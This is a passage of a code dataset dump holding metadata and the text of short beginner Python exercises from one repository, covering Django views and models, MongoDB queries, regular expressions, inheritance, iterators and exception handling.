\"salary\":\"1234512\"\n}\n#display keys\nfor x in d:\n print(x)\nprint(\"------------------\")\n#display values\nfor x in d:\n print(d[x])\n#display both\nfor x in d:\n print(x,d[x])" }, { "alpha_fraction": 0.714893639087677, "alphanum_fraction": 0.714893639087677, "avg_line_length": 20.454545974731445, "blob_id": "3da20bb3a6c117a6fb7555dd26bb0dd81ce41420", "content_id": "12b65e7293dc87b6b756be9040263e937cd3ec0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 235, "license_type": "no_license", "max_line_length": 51, "num_lines": 11, "path": "/django/project18/app18/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n key=request.POST.get(\"course\")\n return render(request,\"index.html\",{\"key\":key})" }, { "alpha_fraction": 0.7118644118309021, "alphanum_fraction": 0.7118644118309021, "avg_line_length": 34.29999923706055, "blob_id": "4626263092485b3e6163b16b9e8958415c200467", "content_id": "ec464ec92ab28704f7d807cc8dcf87e0fad59346", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 76, "num_lines": 20, "path": "/django/project28pdf/app28/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.core.files.storage import FileSystemStorage\nfrom django.http import HttpResponse\nfrom django.template.loader import render_to_string\n\nfrom weasyprint import HTML\n\ndef html_to_pdf_view(request):\n paragraphs = ['first paragraph', 'second paragraph', 'third paragraph']\n html_string = render_to_string('index.html', {'paragraphs': paragraphs})\n\n html = HTML(string=html_string)\n html.write_pdf(target='/tmp/mypdf.pdf');\n\n fs = FileSystemStorage('/tmp')\n with fs.open('mypdf.pdf') as pdf:\n response = HttpResponse(pdf, content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"mypdf.pdf\"'\n return response\n\n return response\n\n\n" }, { "alpha_fraction": 0.7191435694694519, "alphanum_fraction": 0.745591938495636, "avg_line_length": 38.75, "blob_id": "be02056168f46393e3935b717d534e6781928988", "content_id": "7ad6e1f8bf08caa789b1a477bf4e3bf6efa6953c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 794, "license_type": "no_license", "max_line_length": 65, "num_lines": 20, "path": "/django/project20/app20/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass course(models.Model):\n id=models.IntegerField(default=2,primary_key=True)\n name=models.CharField(max_length=50)\n duration=models.IntegerField(default=4)\n fee=models.IntegerField(default=5)\nclass faculity(models.Model):\n id = models.IntegerField(default=2, primary_key=True)\n name = models.CharField(max_length=50)\n cname = models.CharField(max_length=50)\n cno=models.IntegerField(default=10)\n experiance=models.DecimalField(max_digits=2,decimal_places=1)\n username=models.CharField(max_length=10)\n password=models.CharField(max_length=10)\nclass newclass(models.Model):\n id = models.IntegerField(default=2, primary_key=True)\n name = models.CharField(max_length=50)\n time=models.TimeField()\n date=models.DateField()" }, { "alpha_fraction": 0.6547945141792297, "alphanum_fraction": 0.6589041352272034, "avg_line_length": 30.782608032226562, "blob_id": "848fede8ab15d7027709cf02e852b3551805ff42", "content_id": "cc7e0293ec07f7bbff95643a0ad2800903e8ed7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 730, "license_type": "no_license", "max_line_length": 96, "num_lines": 23, "path": "/django/project30/app30/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .models import Feedback\ndef show(request):\n return render(request,\"index.html\")\n\ndef feedback(request):\n try:\n naa=request.session[\"status\"]\n if naa:\n return render(request,\"index.html\",{\"msg\":\"you have to give feedback for one time\"})\n else:\n return render(request, \"feedback.html\")\n except KeyError:\n return render(request,\"feedback.html\")\n\ndef openfeedback(request):\n name=request.POST.get(\"t1\")\n cno=request.POST.get(\"t2\")\n feedback=request.POST.get(\"t3\")\n f=Feedback(name=name,cno=cno,feedback=feedback)\n f.save()\n request.session[\"status\"]=True\n return render(request, \"index.html\",{\"msg\":\"data saved\"})" }, { "alpha_fraction": 0.6384976506233215, "alphanum_fraction": 0.6525821685791016, "avg_line_length": 20.399999618530273, "blob_id": "138457f0adea64287f3a5bf119654653fd6c8276", "content_id": "13fb2c4619d734279c600ae521358f2119f6b76b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 213, "license_type": "no_license", "max_line_length": 41, "num_lines": 10, "path": "/mdb/mongodb5.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient\nidno=int(input(\"Enter Idno:\"))\nd1={\"_id\":idno}\ncurs=MongoClient().simha.student.find(d1)\n\nif curs.count()>0:\n for x in curs:\n print(x)\nelse:\n print(\"Invalid Input\")" }, { "alpha_fraction": 0.4027777910232544, "alphanum_fraction": 0.4444444477558136, "avg_line_length": 20.700000762939453, "blob_id": "da0eb2508fc167f75122831b9911b41f9ba9870a", "content_id": "30ee3330e4c23ccbbe12a1b895d6cd6e6015a754", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "no_license", "max_line_length": 34, "num_lines": 10, "path": "/django/untitled2/demo5.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "no=int(input(\"enter no:\"))\nrows = 4\nfor x in range(1, rows+1):\n for y in range(1, (rows-x)+1):\n print(end=\" \")\n while no != (2*x-1):\n print(\"* \", end=\"\")\n no = no + 1\n no= 0\n print()" }, { "alpha_fraction": 0.5759999752044678, "alphanum_fraction": 0.628000020980835, "avg_line_length": 24, "blob_id": "10c9a6426bbe4764e1f454aad1449224808136eb", "content_id": "958ffde3692a0e21f8a1950e116cf8c46a53688b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 250, "license_type": "no_license", "max_line_length": 30, "num_lines": 10, "path": "/exception/demo2.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "no1=int(input(\"1st no:\"))\nno2=int(input(\"2nd no:\"))\nprint(\"the sum=\",no1+no2)\ntry:\n print(\"the div=\",no1/no2)\nexcept ZeroDivisionError:\n print(\"Invalid 2nd input\")\n print(\"the sub=\",no1-no2)\n print(\"the mul=\",no1*no2)\n print(\"thanks\")\n" }, { "alpha_fraction": 0.5766870975494385, "alphanum_fraction": 0.5889570713043213, "avg_line_length": 16.88888931274414, "blob_id": "b7cda93501489473301990c46410bde740087ebd", "content_id": "e55d5d482bb2207bf8a320e668422f09d84df1c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 163, "license_type": "no_license", "max_line_length": 35, "num_lines": 9, "path": "/mahesh/demo1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class employee:\n def __init__(seif):\n print(\"defult constactor\")\n\n\n def display(self):\n print(\"this is display\")\ne1=employee()\ne1.display()\n\n\n" }, { "alpha_fraction": 0.5375722646713257, "alphanum_fraction": 0.5664739608764648, "avg_line_length": 14.818181991577148, "blob_id": "973b18dd68ffa8984aa95b3d13fe9778ab91b8c1", "content_id": "d5cdeabc00906b3d423d74ddf67c38c99f779167", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 173, "license_type": "no_license", "max_line_length": 29, "num_lines": 11, "path": "/inheritance/demo1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def display(self):\n print(\"i am display\")\nclass B(A):\n def show(self):\n print(\"this is show\")\na1=A()\na1.display()\nb1=B()\nb1.show()\nb1.display()" }, { "alpha_fraction": 0.7231638431549072, "alphanum_fraction": 0.7231638431549072, "avg_line_length": 24.285715103149414, "blob_id": "96a548423d114bdf9feb5be2bf673fabb97acad8", "content_id": "aa7e7a3100ddc3d91aca2202ad5cbd26136329ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "no_license", "max_line_length": 45, "num_lines": 7, "path": "/regular expressions/match start end.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"sanju is from sathya his learning python\"\nword=input(\"enter a word to match:\")\nstr=re.match(r\"sanju\",st)\nstr=re.match(word,st)\nprint(str.start())\nprint(str.end())\n" }, { "alpha_fraction": 0.4324324429035187, "alphanum_fraction": 0.47297295928001404, "avg_line_length": 11.38888931274414, "blob_id": "a07a791bf77238edc147fc8ed10491d22026775b", "content_id": "8819f7efbfc7b9fc3c3524bf79e60dc0c980c33e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 222, "license_type": "no_license", "max_line_length": 24, "num_lines": 18, "path": "/inheritance/demo7.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def m1(self):\n print(\"class A\")\nclass B(A):\n def m2(self):\n print(\"class B\")\nclass C(B):\n def m3(selfo):\n print(\"class C\")\na=A()\na.m1()\nb=B()\nb.m1()\nb.m2()\nc=C()\nc.m1()\nc.m2()\nc.m3()" }, { "alpha_fraction": 0.7101449370384216, "alphanum_fraction": 0.7246376872062683, "avg_line_length": 16.25, "blob_id": "e987aa2ebe929df0f76d09c1ffdde05c6fffa931", "content_id": "4655ed3b9680f80020ad8c2086cbb5188d08ec5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 69, "license_type": "no_license", "max_line_length": 32, "num_lines": 4, "path": "/regular expressions/split maxsplit.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"jayasimha\"\nres=re.split(r\"m\",st,maxsplit=1)\nprint(res)\n" }, { "alpha_fraction": 0.5847457647323608, "alphanum_fraction": 0.6525423526763916, "avg_line_length": 22.600000381469727, "blob_id": "7073c2faafda51daefd5b365006d1e328584c309", "content_id": "96248964d1d2f095c191540e176b59915024ab34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 118, "license_type": "no_license", "max_line_length": 25, "num_lines": 5, "path": "/exception/demo1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "no1=int(input(\"1stno:\"))\nno2=int(input(\"2ndno:\"))\nprint(\"the sum=\",no1+no2)\nprint(\"the div=\",no1/no2)\nprint(\"thanks\")\n" }, { "alpha_fraction": 0.6557376980781555, "alphanum_fraction": 0.6752049326896667, "avg_line_length": 30.483871459960938, "blob_id": "3dbc7ce172e3145c8e568b6f6d671dba679bd852", "content_id": "a7cd2af0437a8321a39ab4a49930a401ad4f8df2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 976, "license_type": "no_license", "max_line_length": 62, "num_lines": 31, "path": "/django/untitled/app13/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom app13.models import product\ndef showindex(request):\n p1=product.objects.all()\n return render(request,\"index.html\",{\"product\":p1})\n\ndef showregister(request):\n pno=request.POST.get(\"pno\")\n pname=request.POST.get(\"pname\")\n pprice=request.POST.get(\"pprice\")\n pqty=request.POST.get(\"pqty\")\n p=product(id=pno,name=pname,price=pprice,quntity=pqty)\n p.save()\n d1={\"messege\":\"product data saved\"}\n p1=product.objects.all()\n return render(request,\"index.html\",{\"d1\":d1,\"product\":p1})\n\ndef delete(request):\n id=request.POST.get(\"delete_id\")\n print(id)\n product.objects.filter(id=id).delete()\n p1=product.objects.all()\n d2={\"data modified\"}\n return render(request,\"index.html\",{\"d2\":d2,\"product\":p1})\n\ndef update(request):\n id1=request.GET[\"update_id\"]\n print(id1)\n p=product.objects.get(id=id1)\n p1=product.objects.all()\n return render(request,\"index.html\",{\"product\":p1,\"p\":p})\n" }, { "alpha_fraction": 0.6163522005081177, "alphanum_fraction": 0.6163522005081177, "avg_line_length": 18.875, "blob_id": "2c6ec4a51ba288c2aa5305e7525819ecdefb3fdb", "content_id": "06538c69c9532f8516dc43b33cd89136fe821850", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 159, "license_type": "no_license", "max_line_length": 31, "num_lines": 8, "path": "/ITERATOR/demo2.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "#using string iter\nname=input(\"enter the name:\")\ni=iter(name)\nwhile True:\n try:\n print(next(i),end=\"\")\n except StopIteration as si:\n break\n" }, { "alpha_fraction": 0.5044642686843872, "alphanum_fraction": 0.5580357313156128, "avg_line_length": 21.399999618530273, "blob_id": "4efc07ef7254e0df6e6c3db1575fd96767013566", "content_id": "c6830d9a9df53f7f18247034beea9d8f9c503aa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 224, "license_type": "no_license", "max_line_length": 29, "num_lines": 10, "path": "/exception/default block.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "\ntry:\n no1=int(input(\"1st no=\"))\n no2=int(input(\"2nd no=\"))\n print(\"sum=\",no1+no2)\n print(\"div=\",no1/no2)\n print(\"mul=\",no1*no2)\n print(\"sub=\",no1-no2)\nexcept:\n print(\"invalid input\")\n print(\"thanks\")" }, { "alpha_fraction": 0.6756756901741028, "alphanum_fraction": 0.6891891956329346, "avg_line_length": 17.5, "blob_id": "23a463a26b5ba91dea537c962a3e167f98c63669", "content_id": "b997173bede88dcb33af0adc8e023af2d6f495e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 74, "license_type": "no_license", "max_line_length": 24, "num_lines": 4, "path": "/regular expressions/match2.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"this is Python\"\ns=re.match(r\"Python\",st)\nprint(s.group(0))\n" }, { "alpha_fraction": 0.512898325920105, "alphanum_fraction": 0.5303490161895752, "avg_line_length": 31.09756088256836, "blob_id": "2be0307a36cb21d19a97cfacfa1cc23acfda7226", "content_id": "dfc7244a6027e83afacea4a4cefbf916e1b8d24c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1318, "license_type": "no_license", "max_line_length": 73, "num_lines": 41, "path": "/django/project23/app23/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom app23.forms import EmployeeForm\nimport os\nfrom app23.models import Employee\n\n\n\ndef showindex(request):\n if request.method == 'POST':\n sno=request.POST.get(\"sno\")\n name=request.POST.get(\"name\")\n cno=request.POST.get(\"cno\")\n emp = EmployeeForm(request.POST, request.FILES)\n if emp.is_valid():\n if os.path.exists(\"app23/static/upload/\"+cno):\n pass\n else:\n os.makedirs(r\"app23/static/upload/\"+cno)\n se=request.FILES['file']\n\n with open('app23/static/upload/'+cno+'/'+se.name,'wb+') as d:\n for a in se.chunks():\n d.write(a)\n e=Employee.objects.last()\n p='upload/'+cno+'/'+se.name\n p1=Employee.objects.last()\n id=0\n if p1==None:\n id+=1\n else:\n id=e.sno\n id=int(id)+1\n d1=Employee(sno=id,name=name,cno=cno,path=p)\n d1.save()\n d2=Employee.objects.all()\n return render(request,\"index.html\",{\"form\":emp,\"d2\":d2})\n else:\n emp=EmployeeForm()\n d2 = Employee.objects.all()\n return render(request,\"index.html\",{\"form\":emp,\"d2\":d2})\n\n\n" }, { "alpha_fraction": 0.46086955070495605, "alphanum_fraction": 0.4739130437374115, "avg_line_length": 22, "blob_id": "8f370eed473bde1900e93d28a437ccc5861e61b9", "content_id": "8c7fcbec2067d1d3c9ccfe894a7889ed315239b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 29, "num_lines": 10, "path": "/ITERATOR/demo4.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class myiter:\n def __init__(self,max=0):\n self.max=max\n def __iter__(self):\n self.no=0\n return self\n def __next__(self):\n if self.max>self.no:\n self.no+=1\n return self.no\n" }, { "alpha_fraction": 0.7078651785850525, "alphanum_fraction": 0.7528089880943298, "avg_line_length": 16.799999237060547, "blob_id": "e96b748bdb94563eb9f507569de6d7e03ac3a590", "content_id": "9418b6e4672513f0ca93d605b2cda1e311db6312", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 89, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/django/projet21/app21/apps.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass Project21Config(AppConfig):\n name = 'app21'\n" }, { "alpha_fraction": 0.7035573124885559, "alphanum_fraction": 0.7114624381065369, "avg_line_length": 41, "blob_id": "cdc216b999e5f6892391b2dcd863b1c698d28fd7", "content_id": "a7e8364b0a9048430ec3170551a12d129c134053", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 253, "license_type": "no_license", "max_line_length": 65, "num_lines": 6, "path": "/django/project24/app24/forms.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django import forms\nclass profileform(forms.Form):\n no = forms.IntegerField(label=\"enter no\")\n name = forms.CharField(label=\"enter the name\", max_length=50)\n cno = forms.IntegerField(label=\"enter contact no\")\n file = forms.FileField()\n\n" }, { "alpha_fraction": 0.7403100728988647, "alphanum_fraction": 0.7635658979415894, "avg_line_length": 41.83333206176758, "blob_id": "43fb5801c5ba890fa54f0d786a042bd2d94f3569", "content_id": "601d1f2a4b02f22e7e0a1e30e9f4cfd50a82bebd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "no_license", "max_line_length": 61, "num_lines": 6, "path": "/django/sqlite1/app1/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\nclass Employee(models.Model):\n id=models.IntegerField(default=2,primary_key=True)\n name=models.CharField(max_length=50)\n salary=models.DecimalField(max_digits=9,decimal_places=2)\n cno= models.IntegerField(default=2)\n\n" }, { "alpha_fraction": 0.4833333194255829, "alphanum_fraction": 0.5166666507720947, "avg_line_length": 23.200000762939453, "blob_id": "a84eb9553b304c3c8cdc96ccbff9ad987358d01b", "content_id": "f0440ff5d67a34b713a30d5464e655d827fb4cdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 120, "license_type": "no_license", "max_line_length": 29, "num_lines": 5, "path": "/django/untitled2/demo1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "n= int(input(\"Enter number\"))\nfor x in range (0,n ,5):\n for y in range(0, x+1):\n print(y, end=' ')\n print()" }, { "alpha_fraction": 0.45868945121765137, "alphanum_fraction": 0.5498575568199158, "avg_line_length": 18.5, "blob_id": "673c5b0815f65f9d187f4f3f76c563badeea2621", "content_id": "abf5e653bd9c391a154aeb6f6c6cf7d6e7adc78e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/mongo2/app2/migrations/0003_auto_20181010_1747.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-10 12:17\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app2', '0002_auto_20181010_1637'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='shop',\n old_name='_id',\n new_name='id',\n ),\n ]\n" }, { "alpha_fraction": 0.3916083872318268, "alphanum_fraction": 0.4335664212703705, "avg_line_length": 22.66666603088379, "blob_id": "ea4e7c60a4ef00f1319c7bf018f47711e818c1ec", "content_id": "0bf85cc7c5a70606429e21e68c88cd81da329248", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 143, "license_type": "no_license", "max_line_length": 31, "num_lines": 6, "path": "/django/untitled2/demo6.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "\nfor x in range(4):\n for y in range(1, (4-x)+1):\n print(end=\" \")\n for y in range(2*x+1):\n print(\"* \", end=\"\")\n print()\n" }, { "alpha_fraction": 0.5641025900840759, "alphanum_fraction": 0.5641025900840759, "avg_line_length": 15.857142448425293, "blob_id": "b6f76c88201c42d93d0692060b11eee39410150f", "content_id": "7e8c2f855f963d4a0e8d9ba20416da1d56f66f49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 117, "license_type": "no_license", "max_line_length": 27, "num_lines": 7, "path": "/regular expressions/split.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"sumanth\"\nres=re.split(r\"u\",st)\nprint(res)\nprint(\"------------------\")\nres= re.split(r\"a\",st)\nprint(res)" }, { "alpha_fraction": 0.5537189841270447, "alphanum_fraction": 0.6528925895690918, "avg_line_length": 14.125, "blob_id": "e923449dc90300370a1a3befb2a73d17288a58af", "content_id": "5eb9f0c77dd1dd704b64ae7c5f439f040643a695", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 121, "license_type": "no_license", "max_line_length": 19, "num_lines": 8, "path": "/ITERATOR/DEMO1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "l1=[10,20,30,40,50]\ni=iter(l1)\nprint(next(i))\nprint(next(i))\nprint(next(i))\nprint(next(i))\nprint(next(i))\nprint(next(i))\n" }, { "alpha_fraction": 0.7361963391304016, "alphanum_fraction": 0.7361963391304016, "avg_line_length": 26.33333396911621, "blob_id": "e41afa91b12b55334c0dac247ba640ffff0ad0ea", "content_id": "284eb951a39873a9a72eafac945c3294f67ba6c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 163, "license_type": "no_license", "max_line_length": 53, "num_lines": 6, "path": "/regular expressions/findall.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=(\"simha is from sathya simha his learning python\")\nword=input(\"enter a wordfind:\")\n#res=re.findall(r\"word\",st)\nres=re.findall(r\"mahesh\",st)\nprint(res)" }, { "alpha_fraction": 0.45771142840385437, "alphanum_fraction": 0.49751242995262146, "avg_line_length": 14.384614944458008, "blob_id": "9fb4acd33ce921dcbb62ce0b96179e0f0ac6ce09", "content_id": "cb56eeb2793886e59d8dde1f27356d3497cee8f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 201, "license_type": "no_license", "max_line_length": 30, "num_lines": 13, "path": "/inheritance/demo11.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def m1(self):\n print(\"m1 is class A\")\nclass B:\n def m1(self):\n print(\"m1 is class B\")\n\nclass C(A,B):\n def m2(self):\n print(\"m2 is class C\")\nc=C()\nc.m1()\nc.m2()\n\n" }, { "alpha_fraction": 0.66576087474823, "alphanum_fraction": 0.66847825050354, "avg_line_length": 27.384614944458008, "blob_id": "76d0c9e9931408d273a56637694bcd7e3fde2218", "content_id": "8e40c57fa0a9f96199c5b7ee3f4130600f4a8f3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 368, "license_type": "no_license", "max_line_length": 62, "num_lines": 13, "path": "/django/image1/app1/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef showimage(request):\n name=request.POST.get(\"t1\")\n if name==\"pawan\" or name==\"ntr\" or name==\"mahesh\":\n return render(request,\"image.html\",{\"name\":name})\n else:\n return render(request,\"index.html\",{\"msg\":\"no image\"})" }, { "alpha_fraction": 0.5192307829856873, "alphanum_fraction": 0.6009615659713745, "avg_line_length": 22.11111068725586, "blob_id": "5ad731aa2611db96a632d4064548058f84a2236b", "content_id": "c0f22edada397e9d8c04863c05b17b88f7e44ddf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "no_license", "max_line_length": 84, "num_lines": 18, "path": "/django/proj12/app12/migrations/0003_auto_20181009_1945.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-09 14:15\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app12', '0002_auto_20181009_1907'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='employee',\n name='id',\n field=models.IntegerField(default=2, primary_key=True, serialize=False),\n ),\n ]\n" }, { "alpha_fraction": 0.7035398483276367, "alphanum_fraction": 0.7168141603469849, "avg_line_length": 25.647058486938477, "blob_id": "5cd901a26d2dd81e3cd261d2225b62250f7efcb8", "content_id": "f8c12a45f28e7641fce378fdb05e1cb0534dc8c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "no_license", "max_line_length": 75, "num_lines": 17, "path": "/django/project27/app27/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom reportlab.pdfgen import canvas\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n res = HttpResponse(content_type='application/pdf')\n res['Content-Disposition'] = 'attachment;filename = \"somefilename.pdf\"'\n p=canvas.Canvas(res)\n p.drawString(100, 100, \"\")\n p.showPage()\n p.save()\n return res" }, { "alpha_fraction": 0.7311828136444092, "alphanum_fraction": 0.7311828136444092, "avg_line_length": 22.5, "blob_id": "fe8ba2c0c07b328b90778ee16a35baf32d1d6fb6", "content_id": "3f1ee54032c5f9a7ae59d91cb528bdd800b666fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 93, "license_type": "no_license", "max_line_length": 40, "num_lines": 4, "path": "/regular expressions/sub.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"current rocking programming is .net\"\nres=re.sub(r\".net\",\"python\",st)\nprint(res)" }, { "alpha_fraction": 0.567307710647583, "alphanum_fraction": 0.5817307829856873, "avg_line_length": 18, "blob_id": "cd4f585cc081e54026a11d2a31980006348326e6", "content_id": "d6b06d5ea1aa98c234bd955a35e0bd4fa84df755", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 208, "license_type": "no_license", "max_line_length": 29, "num_lines": 11, "path": "/inheritance/demo4.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def assign(self,id,na):\n self.idno=id\n self.name=na\nclass B(A):\n def display(self):\n print(idno=self.idno)\n # print(\"name=self.name\")\nb=B()\nb.assign(101,\"raj\")\nb.display()" }, { "alpha_fraction": 0.6538025140762329, "alphanum_fraction": 0.6538025140762329, "avg_line_length": 32.92307662963867, "blob_id": "2951d3ca7dabfe246f8b65324a17df1566620b11", "content_id": "a995c06b044e283b6aa89a0fea40b5c4080122a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 881, "license_type": "no_license", "max_line_length": 116, "num_lines": 26, "path": "/proj17/app17/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n# Create your views here.\ndef showIndex(request):\n return render(request,'index.html')\n\nd = {'nag':{'manam':\"manam.jpg\",'mass':'mass.jpg','manmadhudu':'manmadhudu.jpg'},\n 'vijay':{'geetagovindam':'geetagovindam.jpg','arjunreddy':'arjunreddy.jpg','nota':'nota.jpg'},\n 'uday':{'manasantanuvve':'manasantanuvve.jpg','neesneham':'neesneham.jpg','kalusukovalani':'kalusukovalani.jpg'}\n }\n\ndef showMovies(request):\n hero = request.POST.get('hero')\n res = d[hero]\n return render(request,'index.html',{'res':res,'hero':hero})\n\n\ndef displayPoster(request):\n hero = request.POST.get('he')\n mv_name = request.POST.getlist('movie')\n print(mv_name)\n mv_list = []\n for i in mv_name:\n mv_list.append(d[hero][i])\n res = d[hero]\n return render(request,'index.html',{'img_loc':mv_list,'res':res,'hero':hero})" }, { "alpha_fraction": 0.6896551847457886, "alphanum_fraction": 0.7025862336158752, "avg_line_length": 32.07143020629883, "blob_id": "a0bc2bfcc0e8338480e966887a5732b5312dbc0d", "content_id": "f789de157a0403b84cc0e37640a87e1d3a45ad4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 464, "license_type": "no_license", "max_line_length": 59, "num_lines": 14, "path": "/django/proj11/app11/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\ndef showindex(request):\n pno=request.POST.get(\"pno\")\n pname=request.POST.get(\"pname\")\n pprice=request.POST.get(\"pprice\")\n pqty=request.POST.get(\"pqty\")\n from app11.models import product\n p1=product(id=pno,name=pname,price=pprice,quntity=pqty)\n p1.save()\n d1={\"messege\":\"product data saved\"}\n return render(request,\"index.html\",d1)\ndef showregister(request):\n return render(request,\"index.html\")\n\n" }, { "alpha_fraction": 0.6588486433029175, "alphanum_fraction": 0.6716417670249939, "avg_line_length": 32.42856979370117, "blob_id": "51dfb95efc26c1bd8a19da2acc2b5bfd534b8056", "content_id": "c8f409efecc803bb32ad0a62048de9dbdd990ade", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 469, "license_type": "no_license", "max_line_length": 59, "num_lines": 14, 